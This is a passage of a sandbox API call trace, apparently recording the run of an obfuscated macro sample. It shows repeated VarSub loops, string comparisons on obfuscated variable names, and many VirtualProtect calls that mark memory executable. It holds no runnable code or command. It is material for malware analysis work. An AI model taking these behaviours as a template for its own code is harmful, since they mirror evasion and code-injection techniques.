pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.652] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.653] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.653] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.653] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.653] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.653] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.653] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.653] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.653] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.653] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.701] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.701] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.701] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.701] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.701] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.701] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.701] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.701] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.701] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.702] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.703] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.704] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.705] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.806] GetAsyncKeyState (vKey=3) returned 0 [0113.076] GetAsyncKeyState (vKey=3) returned 0 [0113.328] GetAsyncKeyState (vKey=3) returned 0 [0113.592] GetAsyncKeyState (vKey=3) returned 0 [0113.921] GetAsyncKeyState (vKey=3) returned 0 [0113.921] SafeArrayDestroyData (psa=0xc85d2a8) returned 0x0 [0113.931] SafeArrayDestroyDescriptor (psa=0xc85d2a8) returned 0x0 [0113.931] SafeArrayCopy (in: psa=0xc85cfd8, ppsaOut=0x197c84 | out: ppsaOut=0x197c84) returned 0x0 [0114.006] SafeArrayCopy (in: psa=0xc85d488, ppsaOut=0x197e98 | out: ppsaOut=0x197e98) returned 0x0 [0114.035] SafeArrayCopy (in: psa=0xc85d278, ppsaOut=0x197ff4 | out: ppsaOut=0x197ff4) returned 0x0 [0114.174] GetAsyncKeyState (vKey=3) returned 0 [0114.175] CRetailMalloc_Alloc () returned 0xcb7cd80 [0114.175] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0114.175] memcpy (in: _Dst=0xcf95050, _Src=0x1978c4, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0114.175] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0114.175] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a4, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0114.175] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x97\x97\x97\x97\x97\x97\x96\x97\x97\x96\x96\x97\x97\x97\x96\x96\x96\x97\x97\x97\x96\x97\x96\x97\x96", cchCount1=-1, lpString2="\x96\x97\x97\x97\x96\x96\x96\x96\x97\x97\x97\x97\x96\x96\x96\x96\x97\x96\x96\x96\x96\x97\x97\x97\x97\x96", cchCount2=-1) returned 3 [0114.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2ea6, cbMultiByte=27, lpWideCharStr=0x1976c4, cchWideChar=28 | out: lpWideCharStr="–———––––————––––—––––————–") returned 27 [0114.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2982, cbMultiByte=27, lpWideCharStr=0x197724, cchWideChar=28 | out: lpWideCharStr="–———––––————––––—––––————–") returned 27 [0114.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2982, cbMultiByte=27, lpWideCharStr=0x197724, cchWideChar=28 | out: lpWideCharStr="–———––––————––––—––––————–") returned 27 [0114.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2982, cbMultiByte=27, lpWideCharStr=0x197724, cchWideChar=28 | out: lpWideCharStr="–———––––————––––—––––————–") returned 27 [0114.177] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x97\x97\x97\x97\x97\x97\x96\x97\x97\x96\x96\x97\x97\x97\x96\x96\x96\x97\x97\x97\x96\x97\x96\x97\x96", cchCount1=-1, lpString2="\x96\x97\x97\x97\x96\x96\x96\x96\x97\x97\x97\x97\x96\x96\x96\x96\x97\x96\x96\x96\x96\x97\x97\x97\x97\x96", cchCount2=-1) returned 3 [0114.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2982, cbMultiByte=27, lpWideCharStr=0x197724, cchWideChar=28 | out: lpWideCharStr="–———––––————––––—––––————–") returned 27 [0114.177] CRetailMalloc_Alloc () returned 0xc85d2f8 [0114.177] _mbscpy_s (in: _Dst=0xc85d2f8, _DstSizeInBytes=0x1b, _Src=0x111c2982 | out: _Dst=0xc85d2f8) returned 0x0 [0114.177] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="_B_var_\x97\x97\x97\x97\x97\x97\x97\x96\x97\x97\x96\x96\x97\x97\x97\x96\x96\x96\x97\x97\x97\x96\x97\x96\x97\x96", cchCount1=-1, lpString2="_B_var_\x96\x97\x97\x97\x96\x96\x96\x96\x97\x97\x97\x97\x96\x96\x96\x96\x97\x96\x96\x96\x96\x97\x97\x97\x97\x96", cchCount2=-1) returned 3 [0114.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0c06, cbMultiByte=34, lpWideCharStr=0x197734, cchWideChar=35 | out: lpWideCharStr="_B_var_–———––––————––––—––––————–") returned 34 [0114.178] _mbscpy_s (in: _Dst=0x19779c, _DstSizeInBytes=0x1b, _Src=0x111c2982 | out: _Dst=0x19779c) returned 0x0 [0114.178] CRetailMalloc_Free () returned 0x1 [0114.178] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0114.178] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0114.178] memcpy (in: _Dst=0xcf94f4c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0114.178] memcpy (in: _Dst=0xcf94f48, _Src=0x197714, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0114.178] memcpy (in: _Dst=0xcf94f48, _Src=0x197714, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0114.178] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0114.178] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0114.178] memcpy (in: _Dst=0xcb7cda2, _Src=0x197878, _Size=0x1 | out: _Dst=0xcb7cda2) returned 0xcb7cda2 [0114.179] memcpy (in: _Dst=0xcb7cdf8, _Src=0x197944, _Size=0x18 | out: _Dst=0xcb7cdf8) returned 0xcb7cdf8 [0114.179] CRetailMalloc_Realloc () returned 0xcb7cd80 [0114.179] CRetailMalloc_Free () returned 0x1 [0114.179] GetCurrentProcess () returned 0xffffffff [0114.179] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0114.179] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.180] GetCurrentProcess () returned 0xffffffff [0114.180] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0114.180] GetCurrentProcess () returned 0xffffffff [0114.180] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0114.180] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.180] GetCurrentProcess () returned 0xffffffff [0114.180] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0114.180] GetCurrentProcess () returned 0xffffffff [0114.180] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0114.180] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.181] GetCurrentProcess () returned 0xffffffff [0114.181] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0114.181] GetCurrentProcess () returned 0xffffffff [0114.181] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0114.181] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.182] GetCurrentProcess () returned 0xffffffff [0114.182] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0114.182] GetCurrentProcess () returned 0xffffffff [0114.182] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0114.182] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.183] GetCurrentProcess () returned 0xffffffff [0114.183] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0114.183] GetCurrentProcess () returned 0xffffffff [0114.183] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0114.183] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.183] GetCurrentProcess () returned 0xffffffff [0114.183] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0114.183] GetCurrentProcess () returned 0xffffffff [0114.183] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0114.183] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.184] GetCurrentProcess () returned 0xffffffff [0114.184] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0114.184] GetCurrentProcess () returned 0xffffffff [0114.184] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0114.184] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.184] GetCurrentProcess () returned 0xffffffff [0114.184] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0114.184] GetCurrentProcess () returned 0xffffffff [0114.184] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0114.185] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.185] GetCurrentProcess () returned 0xffffffff [0114.185] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0114.185] GetCurrentProcess () returned 0xffffffff [0114.185] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0114.185] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.186] GetCurrentProcess () returned 0xffffffff [0114.186] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0114.186] GetCurrentProcess () returned 0xffffffff [0114.186] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0114.186] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.187] GetCurrentProcess () returned 0xffffffff [0114.187] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0114.187] GetCurrentProcess () returned 0xffffffff [0114.187] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0114.187] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.187] GetCurrentProcess () returned 0xffffffff [0114.187] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0114.187] GetCurrentProcess () returned 0xffffffff [0114.187] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0114.187] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.188] GetCurrentProcess () returned 0xffffffff [0114.188] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0114.188] GetCurrentProcess () returned 0xffffffff [0114.188] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0114.189] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.189] GetCurrentProcess () returned 0xffffffff [0114.189] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0114.189] GetCurrentProcess () returned 0xffffffff [0114.189] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0114.189] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.190] GetCurrentProcess () returned 0xffffffff [0114.190] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0114.190] GetCurrentProcess () returned 0xffffffff [0114.190] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0114.190] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0114.190] GetCurrentProcess () returned 0xffffffff [0114.190] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 